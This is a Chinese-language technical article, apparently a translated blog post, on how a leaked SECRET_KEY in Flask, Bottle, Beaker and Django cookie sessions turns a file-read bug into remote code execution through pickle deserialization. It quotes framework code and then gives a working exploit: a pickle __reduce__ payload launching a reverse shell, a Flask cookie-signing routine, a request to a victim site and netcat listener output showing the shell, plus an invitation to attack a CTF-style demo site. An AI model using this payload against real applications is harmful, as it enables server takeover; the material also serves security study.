對于Python的框架中一些會話程序的管理
Django, Bottle, Flask,等所有的python web框架都需要配置一個SECRET_KEY。文檔通常推薦我們使用隨機的值,但我很難發(fā)現(xiàn)他有任何文字說明,因為這樣容易被破解(本地攻擊或者文本閱讀在web app中更容易受攻擊)。攻擊者可以使用SECRET_KEY偽造cookies,csrf token然后使用管理員工具。不過這很難做到,不過他可以搞一些小破壞,比如執(zhí)行惡意代碼。這也是我下面將要介紹的。
記得以前使用PHP找到一個可以讀服務器上任意文件的bug(不包含本地文件),你將會被迫選擇遠程執(zhí)行代碼(RCE)。你就需要審查大部分的app資源文件來找到其他的bugs或者有用的信息(比如說用戶密碼,或者數(shù)據(jù)庫信息等)。在這個情況下,我們能說PHP是更安全的嗎?
在攻擊一個Python網(wǎng)站框架的時候,知道你設置的SECRET_KEY字段的攻擊者,能夠簡單的將LFR攻擊升級到RCE攻擊。我(作者)是從攻擊一系列的網(wǎng)站框架之后得出如上結(jié)論的。在這些網(wǎng)站框架中,都有雷同的,使用Pickle作為將經(jīng)過簽名的Cookie序列化的方式。
在Flask框架中,F(xiàn)lask在config['SECRET_KEY']被賦予某個值,session_cookie_name(default='session')存在于cookie中的時候,將Cookie反序列化,甚至在沒有session的情況下。(這樣多么好,攻擊者可以僅僅通過向config file添加SECRET_KEY的方式制造后門,并且,天真的用戶將認為這非常'重要')
從 werkzeug library 里面提取出來的反序列方法是這樣的:
def unserialize(cls, string, secret_key):
if isinstance(string, unicode):
string = string.encode('utf-8', 'replace')
try:
base64_hash, data = string.split('?', 1)
except (ValueError, IndexError):
items = ()
else:
items = {}
mac = hmac(secret_key, None, cls.hash_method)
# -- snip ---
try:
client_hash = base64_hash.decode('base64')
except Exception:
items = client_hash = None
if items is not None and safe_str_cmp(client_hash, mac.digest()):
try:
for key, value in items.iteritems():
items[key] = cls.unquote(value)
except UnquoteError:
# -- snip --
else:
items = ()
return cls(items, secret_key, False)
反序列方法檢查簽名,然后在簽名正確的情況下unquote()cookie的值。unquote()方法看起來非常無辜,但是事實上,這是一個默認的pickle.
#: the module used for serialization. Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
# -- snip --
if cls.quote_base64:
value = value.decode('base64')
if cls.serialization_method is not None:
value = cls.serialization_method.loads(value)
return value
# -- snip --
Bottle: 在默認的bottle設定中時沒有真正的secret key的,但是也許有人想要用signed cookie的功能來加密他自己的cookie.
讓我們來看看代碼是怎么樣的:
def get_cookie(self, key, default=None, secret=None):
value = self.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret) # (key, value) tuple or None
return dec[1] if dec and dec[0] == key else default
return value or default
當這個密鑰被展現(xiàn)出來的時候,并且在cookie中還有其他數(shù)值的時候,cookie_decode 方法被調(diào)用:
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
return pickle.loads(base64.b64decode(msg))
return None
再次,我們看到了Pickle !
Beaker 的session:(任何服務都可以在session上使用beaker的中間件,bottle框架甚至推薦這么做) Beaker.Session 具有很多功能,并且這可能被混淆: 這里面有三個密鑰 secret_key, validate_key, encrypted_key)
encrypt_key: 加密cookie信息,然后要么向客戶端發(fā)送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中儲存。如果沒有設定encrypt_key,那么cookie不會被加密,只會被base64編碼。當有encrypt_key的時候,cookie會被用encrypted_key, validate_key(可選)和一個隨機值用AES方法加密。
validate_key: 用來給加密的cookie簽名
secret:在用File mode時候給cookie簽名(我不知道為什么他們不就用一個validate_key就好了!)
當然,當有人對文件擁有讀的權限的時候,他/她理所當然知道所有的字段。然而,F(xiàn)ile mode使得攻擊不得能因為我們對已經(jīng)序列化的數(shù)據(jù)并沒有控制權,例如,當這些數(shù)據(jù)儲存在本地硬盤上的時候。在Cookie mode,攻擊就能夠成立,即便cookie被編碼了(因為我們知道怎么encrypt,哈哈)。你也許會問,那個隨機參數(shù)是不可知的,你們沒辦法攻擊,幸運的是這個隨機參數(shù)也是cookie存數(shù)的session數(shù)據(jù)的一部分,因此,我們可以將其替代為任何我們需要的值。
下面是他們構造session數(shù)據(jù)的代碼
def _encrypt_data(self, session_data=None):
"""Serialize, encipher, and base64 the session dict"""
session_data = session_data or self.copy()
if self.encrypt_key:
nonce = b64encode(os.urandom(6))[:8]
encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
self.validate_key + nonce, 1)
data = util.pickle.dumps(session_data, 2)
return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
else:
data = util.pickle.dumps(session_data, 2)
return b64encode(data)
我們明顯的看到這些數(shù)據(jù)的處理存在風險。
Django: 最知名也是在Python語言中最復雜的一個服務器框架。而且,沒錯,Django的開發(fā)者們在Cookie Session上放置了一個蠻不錯的警告。以我之鄙見,這個警告不夠,而應該被替換成'致命'或者是',并且標上紅色。
Django的Session是咋么工作的呢?我們能夠從Django的文檔中輕易的找到可閱讀的答案:總而言之,Django給了session 3個可以設定的項目:db,file以及signed_cookie。再一次,我們只對signed_cookie產(chǎn)生興趣,因為我們可以輕松的改變它。如果SESSION_ENGINE被設定為“django.contrib.sessions.backends.signed_cookies“,我們就確定signed_cookie是背用于session的管理。
有趣的是,如果我們在request cookie里面構造一個sessionid,它總是會被反序列化。Django也給了我們一個cookie是如何被簽名的好實例。這讓我們的工作輕松多了。
我們的攻擊
我們還沒有討論我們?nèi)绾喂簦ㄓ行┠憧赡芤呀?jīng)知道了)!感謝您的耐心看到最后,我寫它在最后是因為攻擊手段充滿共性,而且簡單(是的,原則性的知識)。
在這里,我們可以讀取任何文件。要找到Python應用程序的配置文件并不難,因為到處有導入(import)。當我們獲得的密鑰時,我們可以簡單的實現(xiàn)(或重復使用)簽署web框架的cookie,并使用我們的惡意代碼。 因為它們使用的是pickle.loads()反序列化的時候,我們的使用pickle.dumps()保存惡意代碼。
piclke.dump()和loads()通常在處理整數(shù),字符串,數(shù)列,哈希,字典類型的時候是安全的....但是他在處理一些惡意構造的數(shù)據(jù)類型的時候就不安全了!事實上,攻擊者可以通過構造的數(shù)據(jù)類型來達到執(zhí)行任意Python代碼的目的。我寫了一段不錯的小程序來吧Python代碼轉(zhuǎn)換成Pickle序列化的對象。我們應該從connback.py開始閱讀(這實際上是一個反向鏈接的shell),然后我們將誘使對方網(wǎng)站來用Pickle方法將其序列化。如果有人執(zhí)行了pickle.loads(payload),那么我們的反向鏈接shell就會被激活。
code = b64(open('connback.py').read())
class ex(object):
def __reduce__(self):
return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())
現(xiàn)在我們簽名(適用于flask web框架):
def send_flask(key, payload):
data = 'id='+b64(payload)
mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
然后發(fā)送
print requests.get('http://victim/', cookies={'session':s})
在另外一個終端里:
danghvu@thebeast:~$ nc -lvvv 1337 Connection from x.x.x.x port 1337 [tcp/*] accepted !P0Wn! Congratulation !! sh: no job control in this shell sh-4.1$
還有啥?
-所以怎樣?只要你不知道我的secret_key我就是安全的!可以啊,你可以這樣....但是和宣稱:"我把我的鑰匙放在房頂上,我知道你爬不上來..."沒啥區(qū)別。
-好的, 所以如果我不用這種session cookie,我就安全了!沒錯,在小型的web app上,將session 儲存在文件里面更安全(如果放在DB里面,我們還面臨SQL Injection的危險)。但是如果是大型web app,然后你有個分布式的存儲方式,這將導致嚴重的效率問題。
-那咋辦?也許我們應該讓那些web框架不要用piclke來序列化?我不知道是否存在這種框架,如果有的話就好了。PHP更安全嗎?事實上不是如此
最后:
Web.Py,當我查看他們的web session文檔的時候我發(fā)現(xiàn):CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL
所以,干得好:D ,也許所有人都應該這樣做。你們應該去試試web.py和其他框架。
作為一個禮物,這個網(wǎng)站是有這個漏洞的,讓我們看看你們是不是能夠把lfr bug升級成為一個rce,然后你們會找到真正的禮物:一個flag...
更新:有漏洞的網(wǎng)站的源碼放在github上了,它的secret_key已經(jīng)不一樣了。
- 在Python中使用mechanize模塊模擬瀏覽器功能
- Python模擬鼠標點擊實現(xiàn)方法(將通過實例自動化模擬在360瀏覽器中自動搜索python)
- Python使用win32com實現(xiàn)的模擬瀏覽器功能示例
- 淺談python爬蟲使用Selenium模擬瀏覽器行為
- Python使用Selenium模塊實現(xiàn)模擬瀏覽器抓取淘寶商品美食信息功能示例
- Python使用Selenium模塊模擬瀏覽器抓取斗魚直播間信息示例
- Python ORM框架SQLAlchemy學習筆記之映射類使用實例和Session會話介紹
- 用Python中的wxPython實現(xiàn)最基本的瀏覽器功能
- python3實現(xiàn)讀取chrome瀏覽器cookie
- 詳解Python多線程Selenium跨瀏覽器測試
- Python實現(xiàn)模擬瀏覽器請求及會話保持操作示例
相關文章
python加密解密庫cryptography使用openSSL生成的密匙加密解密
這篇文章主要介紹了python加密解密庫cryptography使用openSSL生成的密匙加密解密,需要的朋友可以參考下2020-02-02
Python+Selenium實現(xiàn)瀏覽器的控制操作
這篇文章主要為大家詳細介紹了Python+Selenium如何實現(xiàn)常見的瀏覽器控制操作,例如:瀏覽器參數(shù)設置、控制瀏覽器前進/后退等,感興趣的可以了解一下2022-09-09
python爬蟲 使用真實瀏覽器打開網(wǎng)頁的兩種方法總結(jié)
下面小編就為大家分享一篇python爬蟲 使用真實瀏覽器打開網(wǎng)頁的兩種方法總結(jié),具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-04-04

